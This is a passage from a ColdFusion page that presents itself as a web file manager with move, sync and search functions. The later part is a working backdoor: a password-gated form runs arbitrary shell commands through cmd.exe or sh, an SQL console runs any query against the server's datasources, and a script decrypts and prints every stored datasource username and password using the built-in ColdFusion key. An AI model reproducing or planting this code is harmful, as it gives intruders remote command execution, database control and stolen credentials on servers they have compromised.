736 path="#attributes.path#"
737 file="#attributes.file#"
738 relocate="0">
739 <cfoutput>#loc("msg=File moved!", attributes.relocate)#</cfoutput>
740 </cfcase>
741
742 <cfcase value="moveDir">
743 <h1>Move folder - step 1: copy files</h1>
744 <cfmodule template="#attributes.thisModule#"
745 fuseaction="copyDir"
746 h="#attributes.h#"
747 pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"
748 pathNew="#attributes.pathNew##attributes.delimiter##attributes.dir#"
749 relocate="0">
750 <h1>Move folder - step 2: delete files</h1>
751 <cfmodule template="#attributes.thisModule#"
752 fuseaction="deleteDirRecursive"
753 h="#attributes.h#"
754 path="#attributes.path#"
755 dir="#attributes.dir#"
756 relocate="0">
757 <cfif attributes.relocate>
758 <cfoutput>
759 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Move done! Back to <b>#attributes.path#</b></button>
760 </cfoutput>
761 </cfif>
762 </cfcase>
763
764 <cfcase value="syncDir">
765 <cfif attributes.relocate>
766 <cfoutput><h1>Synchronize</h1><h3>From... #attributes.path#</h3><h3>To... #attributes.pathNew#</h3><hr></cfoutput>
767 </cfif>
768 <cfdirectory directory="#attributes.path#" name="getDir">
769 <cfdirectory directory="#attributes.pathNew#" name="getDirNew">
770 <!--- create main folder --->
771 <cftry>
772 <cfdirectory action="CREATE" directory="#attributes.pathNew#">
773 <cfoutput><h3 style="color:green">#attributes.pathNew# ... created!</h3></cfoutput>
774 <cfcatch><cfoutput><h3>#attributes.pathNew# ... existing!</h3></cfoutput></cfcatch>
775 </cftry>
776 <!--- copy folder content - Recursive copy --->
777 <cfloop query="getDir">
778 <cfset getDirCurrentRow = getDir.currentRow>
779 <cfif type eq "file">
780 <cfset fileExists = 0>
781 <!--- Check if file exists --->
782 <cfloop query="getDirNew">
783 <cfset getDirNewCurrentRow = getDirNew.currentRow>
784 <cfif getDir.name[getDirCurrentRow] eq getDirNew.name[getDirNewCurrentRow]>
785 <cfset fileExists = 1>
786 <cfset fileIsModified = 0>
787 <cfif getDir.DATELASTMODIFIED[getDirCurrentRow] gt getDirNew.DATELASTMODIFIED[getDirNewCurrentRow]>
788 <cfset fileIsModified = 1>
789 </cfif>
790 <cfbreak>
791 </cfif>
792 </cfloop>
793 <!--- action --->
794 <cfif fileExists>
795 <cfif fileIsModified or attributes.overwriteAll>
796 <cftry>
797 <cffile action="DELETE" file="#attributes.pathNew##attributes.delimiter##name#">
798 <cffile
799 action="COPY"
800 source="#attributes.path##attributes.delimiter##name#"
801 destination="#attributes.pathNew##attributes.delimiter##name#"
802 attributes="Normal">
803 <cfoutput><div style="color:orange">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... updated!</div></cfoutput>
804 <cfcatch>
805 <cfoutput><div style="color:red">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... cannot update!</div></cfoutput>
806 </cfcatch>
807 </cftry>
808 <cfelse>
809 <cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... uptodate</div></cfoutput>
810 </cfif>
811 <cfelse>
812 <cffile
813 action="COPY"
814 source="#attributes.path##attributes.delimiter##name#"
815 destination="#attributes.pathNew##attributes.delimiter##name#"
816 attributes="Normal">
817 <cfoutput><div style="color:green">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... new!</div></cfoutput>
818 </cfif>
819 <cfflush>
820 </cfif>
821 </cfloop>
822 <cfloop query="getDir">
823 <cfif type eq "dir">
824 <cfmodule
825 fuseaction="syncDir"
826 template="#attributes.thisModule#"
827 h="#attributes.H#"
828 path="#attributes.path##attributes.delimiter##name#"
829 pathNew="#attributes.pathNew##attributes.delimiter##name#"
830 relocate="0">
831 </cfif>
832 </cfloop>
833 <cfif attributes.relocate>
834 <cfoutput>
835 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.pathNew)#'">Synchronization done! Back to <b>#attributes.pathNew#</b></button>
836 </cfoutput>
837 </cfif>
838 </cfcase>
839
840 <cfcase value="search">
841 <cfif attributes.searchtext eq "" and attributes.searchname eq "">
842 <cfoutput>#loc("msg=Error: no criteria!",attributes.relocate)#</cfoutput>
843 </cfif>
844 <cfif not isDefined("request.searchResult")>
845 <cfset request.searchResult = queryNew("path,name,type,size,datelastmodified,attributes")>
846 <cfset attributes.searchpath = attributes.path>
847 </cfif>
848 <cfset countsearchresult = request.searchResult.recordCount>
849 <cftry>
850 <cfdirectory action="LIST" directory="#attributes.searchpath#" name="getDir">
851 <!--- Search files --->
852 <cfloop query="getDir">
853 <cfif attributes.maxsearchresult lte countsearchresult>
854 <cfbreak>
855 </cfif>
856 <cfif type eq "file">
857 <cfset isOK = 1>
858 <cfif attributes.searchname neq "">
859 <cfset isOK = REFindNoCase(attributes.searchname,name)>
860 </cfif>
861 <cfif attributes.searchtext neq "" and isOK eq 1>
862 <cffile action="READ" file="#attributes.searchpath##attributes.delimiter##name#" variable="filecontent">
863 <cfset isOK = REFindNoCase(attributes.searchtext,filecontent)>
864 </cfif>
865 <cfif isOK>
866 <cfset tmp = queryAddRow(request.searchResult)>
867 <cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)>
868 <cfset tmp = querySetCell(request.searchResult,"name",name)>
869 <cfset tmp = querySetCell(request.searchResult,"type",type)>
870 <cfset tmp = querySetCell(request.searchResult,"size",size)>
871 <cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)>
872 <cfset tmp = querySetCell(request.searchResult,"attributes",attributes)>
873 <cfset countsearchresult = countsearchresult + 1>
874 </cfif>
875 </cfif>
876 </cfloop>
877 <!--- Search dir --->
878 <cfloop query="getDir">
879 <cfif attributes.maxsearchresult lte countsearchresult>
880 <cfbreak>
881 </cfif>
882 <cfif type eq "dir" and name neq "." and name neq "..">
883 <cfif attributes.searchname neq "" and REFindNoCase(attributes.searchname,name)>
884 <cfset tmp = queryAddRow(request.searchResult)>
885 <cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)>
886 <cfset tmp = querySetCell(request.searchResult,"name",name)>
887 <cfset tmp = querySetCell(request.searchResult,"type",type)>
888 <cfset tmp = querySetCell(request.searchResult,"size",size)>
889 <cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)>
890 <cfset tmp = querySetCell(request.searchResult,"attributes",attributes)>
891 <cfset countsearchresult = countsearchresult + 1>
892 </cfif>
893 </cfif>
894 </cfloop>
895 <!--- Search in sub dir --->
896 <cfif attributes.recursive eq 1>
897 <cfloop query="getDir">
898 <cfif attributes.maxsearchresult lte countsearchresult>
899 <cfbreak>
900 </cfif>
901 <cfif type eq "dir" and name neq "." and name neq "..">
902 <cfmodule template="#attributes.thisModule#"
903 fuseaction="search"
904 path="#attributes.path#"
905 h="#attributes.h#"
906 searchpath="#attributes.searchpath##attributes.delimiter##name#"
907 recursive="#attributes.recursive#"
908 searchtext="#attributes.searchtext#"
909 searchname="#attributes.searchname#"
910 maxsearchresult="#attributes.maxsearchresult#"
911 relocate="0">
912 </cfif>
913 </cfloop>
914 </cfif>
915 <cfcatch>
916 <cfoutput>#loc("msg=Error!",attributes.relocate)#</cfoutput>
917 </cfcatch>
918 </cftry>
919 <!--- Show result --->
920 <cfif attributes.relocate>
921 <cfset caller.getDir = request.searchResult>
922 <cfmodule template="#attributes.thisModule#"
923 fuseaction="home"
924 path="#attributes.path#"
925 h="#attributes.h#"
926 msg="Search result: #request.searchResult.recordCount# elements!"
927 getDir="#request.searchResult#"
928 showpath="#iif(attributes.recursive,1,0)#"
929 searchtext="#attributes.searchtext#"
930 searchname="#attributes.searchname#"
931 maxsearchresult="#attributes.maxsearchresult#">
932 </cfif>
933 </cfcase>
934
935</cfswitch>
936
937</br></br>
938
939<cfoutput>
940<!--<table>-->
941<cfset tempFile = #GetTempFile(GetTempDirectory(),"testFile")# />
942<cfif IsDefined("FORM.cmd")>
943<cfoutput>#cmd#</cfoutput>
944<cfif server.os.name neq "UNIX">
945<cfexecute name="cmd.exe" arguments="/c #cmd#" outputfile="#tempFile#" timeout="2000"></cfexecute>
946<cfelse>
947<cfexecute name="sh" arguments="-c ""#REReplace(cmd,"""","'","ALL")#""" outputfile="#tempFile#" timeout="2000"></cfexecute>
948</cfif>
949</cfif>
950<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
951<input type=text size=45 name="cmd" >
952<input type=Submit value="run">
953</form>
954<cfif FileExists("#tempFile#") is "Yes">
955<cffile action="Read" file="#tempFile#" variable="readText">
956<textarea readonly cols=80 rows=20>
957<CFOUTPUT>#readText#</CFOUTPUT>
958</textarea>
959<cffile action="Delete" file="#tempFile#">
960</cfif>
961</cfoutput>
962</br></br>
963
964<p><b>Notes:</b></p>
965<ul>
966<li>Select the database you want to use</li>
967<li>Write SQL statements in the text box</li>
968</ul>
969
970<form method="POST" action="">
971<p><b>SQL Interface:</b></p>
972Datasource<br>
973<select name="datasource">
974<cfscript>
975dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
976 getDatasourceService().getDatasources();
977 for(i in dataSourceObb) {
978 writeoutput('<option value="' & i & '">' & i & '</option>');
979 }
980</cfscript>
981</select>
982
983<br>
984SQL<br>
985<textarea name="sql" rows="5" cols="100"></textarea>
986<br>
987<input type=submit value="Exec">
988</form>
989
990<cfif isdefined("form.sql")>
991<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
992 #Form.sql#
993</cfquery>
994</cfif>
995
996<table border=1>
997 <cfif isdefined("form.sql")>
998 <cfloop from="0" to="#runsql.RecordCount#" index="row">
999 <cfif row eq 0>
1000 <tr>
1001 <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
1002 <th><cfoutput>#column#</cfoutput></th>
1003 </cfloop>
1004 </tr>
1005 <cfelse>
1006 <tr>
1007 <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
1008 <td><cfoutput>#runsql[column][row]#</cfoutput></td>
1009 </cfloop>
1010 </tr>
1011 </cfif>
1012 </cfloop>
1013 </cfif>
1014</table>
1015</br> </br>
1016<cfscript>
1017 dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
1018 getDatasourceService().getDatasources();
1019 writeoutput("<br><br><b>Datasource Credentials:</b><br>");
1020 writeoutput("<table>");
1021 for(i in dataSourceObb) {
1022 if(len(dataSourceObb[i]["password"])){
1023 theurl=(dataSourceObb[i]["url"]);
1024 username=(dataSourceObb[i]["username"]);
1025 decryptPassword=Decrypt(dataSourceObb[i]["password"],
1026 generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede",
1027 "Base64");
1028 writeoutput("" &
1029 "<tr><td>DataSource: " & i & "</td>" &
1030 "<td>Username: " & username & "</td>" &
1031 "<td>Password: " & decryptPassword &
1032 "<td>URL: " & theurl & "</td></tr>");
1033 }
1034 }
1035 writeoutput("</table><br>");
1036 </cfscript>
1037
1038
1039
1040</body>
1041</html>
1042
1043 <cfelse>
1044 <form method="post">
1045 <label for="code">Code:</label><input type="text" name="code" />
1046 <br/>
1047 <input type="submit" value="Login" />
1048 </form>
1049 </cfif>
1050
1051<cfcatch>
1052</cfcatch>
1053</cftry>